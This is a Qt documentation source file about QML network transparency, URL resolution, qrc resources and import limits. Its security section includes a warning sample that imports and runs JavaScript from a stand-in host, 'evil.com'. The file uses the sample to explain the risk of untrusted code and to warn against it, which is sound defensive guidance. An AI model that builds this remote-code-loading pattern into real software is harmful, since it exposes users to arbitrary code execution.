src/qml/doc/src/documents/networktransparency.qdoc

   1 /****************************************************************************
   2 **
   3 ** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
   4 ** Contact: http://www.qt-project.org/
   5 **
   6 ** This file is part of the documentation of the Qt Toolkit.
   7 **
   8 ** $QT_BEGIN_LICENSE:FDL$
   9 ** GNU Free Documentation License
  10 ** Alternatively, this file may be used under the terms of the GNU Free
  11 ** Documentation License version 1.3 as published by the Free Software
  12 ** Foundation and appearing in the file included in the packaging of
  13 ** this file.
  14 **
  15 ** Other Usage
  16 ** Alternatively, this file may be used in accordance with the terms
  17 ** and conditions contained in a signed written agreement between you
  18 ** and Nokia.
  19 **
  20 **
  21 **
  22 **
  23 **
  24 ** $QT_END_LICENSE$
  25 **
  26 ****************************************************************************/
  27 /*!
  28 \page qtqml-documents-networktransparency.html
  29 \title Resource Loading and Network Transparency
  30 \brief about loading files and resources accross a network
  31
  32 QML supports network transparency by using URLs (rather than file names) for all
  33 references from a QML document to other content. This means that anywhere a URL source is expected,
  34 QML can handle remote resources as well as local ones, for example in the following image source:
  35
  36 \qml
  37 Image {
  38     source: "http://www.example.com/images/logo.png"
  39 }
  40 \endqml
  41
  42 Since a \e relative URL is the same
  43 as a relative file, development of QML on regular file systems remains simple:
  44
  45 \qml
  46 Image {
  47     source: "images/logo.png"
  48 }
  49 \endqml
  50
  51 Network transparency is supported throughout QML, for example:
  52
  53 \list
  54 \li Fonts - the \c source property of FontLoader is a URL
  55 \li WebViews - the \c url property of WebView (obviously!)
  56 \endlist
  57
  58 Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
  59 \tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
  60 will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
  61 For example if the qmldir file contains the line "World World.qml", it will load
  62 \tt http://example.com/mystuff/World.qml
  63 Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
  64 similarly be loaded from the network.
  65
  66
  67 \section1 Relative vs. Absolute URLs
  68
  69 Whenever an object has a property of type URL (QUrl), assigning a string to that
  70 property will actually assign an absolute URL - by resolving the string against
  71 the URL of the document where the string is used.
  72
  73 For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
  74
  75 \qml
  76 Image {
  77     source: "images/logo.png"
  78 }
  79 \endqml
  80
  81 The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
  82 but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
  83 \tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
  84
  85 If the string assigned to a URL is already an absolute URL, then "resolving" does
  86 not change it and the URL is assigned directly.
  87
  88
  89 \section1 QRC Resources
  90
  91 One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
  92 the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
  93 that is compiled into the executable:
  94
  95 \code
  96     QQuickView *canvas = new QQuickView;
  97     canvas->setUrl(QUrl("qrc:/dial.qml"));
  98 \endcode
  99
 100 The content itself can then use relative URLs, and so be transparently unaware that the content is
 101 compiled into the executable.
 102
 103
 104 \section1 Limitations
 105
 106 The \c import statement is only network transparent if it has an "as" clause.
 107
 108 More specifically:
 109 \list
 110 \li \c{import "dir"} only works on local file systems
 111 \li \c{import libraryUri} only works on local file systems
 112 \li \c{import "dir" as D} works network transparently
 113 \li \c{import libraryUrl as U} works network transparently
 114 \endlist
 115
 116
 117 \section1 Implications for Application Security
 118
 119 The QML security model is that QML content is a chain of trusted content: the user
 120 installs QML content that they trust in the same way as they install native Qt applications,
 121 or programs written with runtimes such as Python and Perl. That trust is establish by any
 122 of a number of mechanisms, including the availability of package signing on some platforms.
 123
 124 In order to preserve the trust of users, QML application developers should not load
 125 and execute arbitary JavaScript or QML resources.  For example, consider the QML code below:
 126
 127 \qml
 128 import QtQuick 2.0
 129 import "http://evil.com/evil.js" as Evil
 130
 131 Component {
 132     onLoaded: Evil.doEvil()
 133 }
 134 \endqml
 135
 136 This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
 137 will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
 138
 139 As with any application accessing other content beyond its control, a QML application should
 140 perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}
 141 */